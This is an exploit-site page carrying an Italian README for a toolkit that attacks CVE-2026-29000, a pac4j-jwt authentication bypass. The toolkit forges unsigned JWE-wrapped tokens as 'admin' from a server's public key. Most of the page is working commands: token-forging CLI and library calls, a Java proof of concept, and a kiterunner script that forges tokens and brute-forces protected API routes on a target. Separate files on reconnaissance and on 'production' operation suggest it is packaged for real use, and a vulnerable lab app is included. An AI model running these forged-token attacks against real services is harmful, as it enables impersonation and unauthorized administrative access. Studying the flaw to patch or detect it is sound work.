Sploitus

Exploit for CVE-2026-29000

kitploit · 2026-08-27

Exploit Code

MARKDOWN148 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KERNELZERODAY-CVE-2026-29000
# CVE-2026-29000: bypass dell'autenticazione JwtAuthenticator di pac4j-jwt

Buildout completo: writeup, PoC Java in-process, CLI e libreria Python per il forge di token, test.

## Riepilogo

  * **CVE:** CVE-2026-29000 (CVSS 10, CWE-347)
  * **Versioni interessate:** pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3 quando si utilizza la configurazione JWE + firma
  * **Problema:** il **PlainJWT** (non firmato) avvolto in JWE bypassa la verifica della firma; un attaccante con la sola chiave **pubblica** RSA del server può forgiare token e autenticarsi come qualsiasi utente.



Vedi WRITEUP.md per i dettagli e i requisiti del PoC.

## Struttura

Percorso| Descrizione  
---|---  
`WRITEUP.md`| Riepilogo CVE, causa principale, versioni interessate, requisiti PoC, riferimenti  
`RECON.md`| **Cosa inserire** (scoperta dei claim, claim specifici dell'app) e **dove inviare** (header, cookie, individuazione degli endpoint protetti)  
`OPERATIONALIZATION.md`| **Cosa serve per l'esecuzione in produzione:** packaging, configurazione, sicurezza, automazione, osservabilità, manutenzione  
`scripts/kr_scan.py`| Forgia il token ed esegue **kiterunner** (`~/bin/kr`) con `Authorization: Bearer` per brute/scan delle route API protette  
`examples/`| Script di esempio: `forge_and_curl.sh`, `forge_and_kr.sh`  
`lab/`| App Flask di laboratorio (endpoint JWE + JWKS) per testare il forge dei token  
`poc/`| PoC Java Maven (bypass in-process contro pac4j-jwt 6.0.3)  
`token_forge/`| Pacchetto Python: forge di PlainJWT avvolto in JWE da PEM o URL JWKS  
`tests/`| Test Pytest per claim, forge, chiavi, CLI  
`requirements.txt`| Dipendenze Python (jwcrypto, requests, pytest)  
  
## Python (forge dei token)

### Setup

root@kitploit:~
    
    
    python3 -m venv .venv
    source .venv/bin/activate   # oppure .venv\Scripts\activate su Windows
    pip install -r requirements.txt
    

### Esecuzione CLI

root@kitploit:~
    
    
    # Da PEM (genera con: openssl genrsa 2048 | openssl rsa -pubout)
    python -m token_forge --public-key /percorso/di/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
    
    # Da URL JWKS
    python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
    
    # Claim aggiuntivi (per la scoperta specifica dell'app): --claim some-email@example.com --claim key=value
    # Opzioni: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose
    

Output: una singola riga (JWT forgiato); usa come `Authorization: Bearer <token>`.

### Automazione Kiterunner (kr)

Richiede **kr** in `~/bin/kr`. Forgia il token ed esegui `kr brute` (o `kr scan`) con autenticazione Bearer per scoprire le route protette:

root@kitploit:~
    
    
    python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
    python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
    

Vedi RECON.md §4 per le opzioni (`--subject`, `--roles`, `--claim`, `-A`, `--scan`, ecc.).

### Libreria

root@kitploit:~
    
    
    from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
    
    with open("pub.pem", "rb") as f:
        key = load_public_key_from_pem(f.read())
    token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
    

### Test

root@kitploit:~
    
    
    pytest -vv --tb=short --maxfail=1
    # oppure con i warning come errori:
    pytest -vv -W error -W always --tb=short --maxfail=1
    

## PoC Java

### Build ed esecuzione (richiede Java 11+ e Maven)

root@kitploit:~
    
    
    cd poc
    mvn -q compile exec:java -Dexec.mainClass="Poc"
    # Oppure solo token (senza validazione in-process):
    mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
    # Con subject/roles personalizzati:
    mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
    

Atteso: `[BYPASS] Authenticated as: admin#override` e i ruoli quando si esegue in-process.

## Test e copertura

root@kitploit:~
    
    
    pytest -vv --cov=token_forge --cov-report=term-missing
    pytest -vv --cov=token_forge --cov-report=html  # poi apri htmlcov/index.html
    

## Docker

root@kitploit:~
    
    
    docker build -t cve-2026-29000 .
    docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
    

## Lab (target vulnerabile)

App Flask che accetta JWE e restituisce i claim (per testare forge + curl/kr).

root@kitploit:~
    
    
    docker compose up -d lab
    TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
    curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
    

Vedi lab/README.md.

## Riferimenti

  * CodeAnt AI – PoC completo e analisi
  * Advisory di sicurezza pac4j
  * OpenCVE CVE-2026-29000